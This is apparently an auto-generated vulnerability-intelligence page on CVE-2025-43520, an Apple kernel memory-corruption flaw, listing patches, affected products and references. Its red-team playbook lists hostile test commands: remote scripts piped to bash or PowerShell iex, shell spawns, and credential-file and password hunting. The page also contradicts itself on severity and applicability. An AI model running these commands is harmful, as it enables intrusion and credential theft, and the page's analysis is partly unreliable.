CVE-2025-43520
Overview
This vulnerability is a memory corruption issue classified under CWE-120, specifically a classic buffer overflow scenario. The root cause lies in improper memory handling within kernel-level components of Apple iOS and iPadOS, where bounds checking or memory allocation errors allow overwriting of kernel memory. The affected components include the kernel memory management routines across multiple Apple operating systems, including iOS, iPadOS, macOS, tvOS, visionOS, and watchOS.
Vulnerability Description
A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.2 and iPadOS 18.7.2, iOS 26.1 and iPadOS 26.1, macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1, tvOS 26.1, visionOS 26.1, watchOS 26.1. A malicious application may be able to cause unexpected system termination or write kernel memory.
Impact
An attacker with the ability to install and execute a malicious application on affected Apple devices can exploit this vulnerability to cause unexpected system termination or write arbitrary data to kernel memory. This can result in denial of service or potentially privilege escalation if kernel memory is manipulated. Exploitation requires local code execution privileges, as the attacker must run a crafted application on the device. The CVSS score of 0 reflects the low severity due to required local access and limited impact scope.
Solution
Apple has addressed this vulnerability in iOS 18.7.2, iPadOS 18.7.2, iOS 26.1, iPadOS 26.1, macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1, tvOS 26.1, visionOS 26.1, and watchOS 26.1. Users and administrators are advised to apply these specific OS updates as detailed in Apple’s security advisories available at https://support.apple.com/en-us/125632, https://support.apple.com/en-us/125633, and https://support.apple.com/en-us/125634. No additional workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A memory corruption issue has been identified in various Apple operating systems, including iOS, iPadOS, macOS, tvOS, visionOS, and watchOS. This vulnerability arises from improper memory handling, which can lead to unexpected system termination or unauthorized writing to kernel memory. Memory corruption vulnerabilities typically occur when an application inadvertently modifies memory locations that it should not access, potentially allowing an attacker to manipulate the execution flow of the system. In this case, the flaw was addressed in multiple updates, highlighting the importance of timely patch management in maintaining system integrity.
The primary attack vector for this vulnerability involves the exploitation of malicious applications. An attacker could craft a specially designed application that, when executed on a vulnerable device, triggers the memory corruption. This could lead to various adverse outcomes, such as crashing the operating system or executing arbitrary code with elevated privileges. Given the widespread use of Apple devices in both personal and enterprise environments, the potential for exploitation is significant. Attackers could leverage this vulnerability to gain unauthorized access to sensitive data, disrupt services, or install additional malicious software, thereby compromising the security of the entire ecosystem.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on Apple products for their operations. A successful exploitation could result in data breaches, loss of intellectual property, and significant downtime, all of which can have severe financial repercussions. Moreover, the reputational damage associated with a security incident can lead to a loss of customer trust and confidence. Organizations that fail to address such vulnerabilities may also face regulatory scrutiny and potential legal liabilities, further exacerbating the business risks associated with this issue.
To detect and mitigate the risks associated with this memory corruption vulnerability, organizations should implement a multi-faceted approach. Regularly updating devices to the latest operating system versions is crucial, as patches are designed to address known vulnerabilities. Additionally, employing robust endpoint protection solutions can help identify and block malicious applications before they can exploit vulnerabilities. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their systems. User education is equally important; training employees to recognize suspicious applications and practices can significantly reduce the likelihood of successful exploitation.
In conclusion, the memory corruption issue affecting various Apple operating systems poses a significant threat to both individual users and organizations. The potential for exploitation through malicious applications underscores the need for proactive security measures, including timely updates and comprehensive detection strategies. By understanding the nature of this vulnerability and implementing effective mitigation techniques, organizations can better protect themselves against the evolving landscape of cybersecurity threats.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-43520, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition elevates the vulnerability’s profile within the security community, signaling increased scrutiny and prioritization for remediation efforts. Our telemetry indicates that while exploit activity remains moderate, the vulnerability’s CVSS score adjustment to 5.5 reflects a reassessment of its potential impact, particularly given the memory corruption vector that could enable kernel memory writes or system crashes. The modest rise in EPSS score, despite a slight downward trend in short-term exploit attempts, suggests persistent interest from threat actors, underscoring the need for continued vigilance. Although no new proof-of-concept exploits have surfaced, the KEV listing may accelerate exploit development and targeting, increasing the risk to organizations relying on affected Apple operating systems. Consequently, the threat level has shifted from low to medium, emphasizing a growing likelihood of exploitation attempts that defenders must monitor closely.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Ipados | 26.0 |
cpe:2.3:o:apple:ipados:26.0:*:*:*:*:*:*:*
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|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | 26.0 |
cpe:2.3:o:apple:iphone_os:26.0:*:*:*:*:*:*:*
|
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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|
|
Apple | Macos | 26.0 |
cpe:2.3:o:apple:macos:26.0:*:*:*:*:*:*:*
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Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
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|
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Apple | Visionos | All |
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*
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Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (11)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-43520 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125632 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125633 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125634 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125635 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125636 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125637 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125638 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125639 |
| cloud.google.com |
NVD API
Technical Description
|
https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-43520 |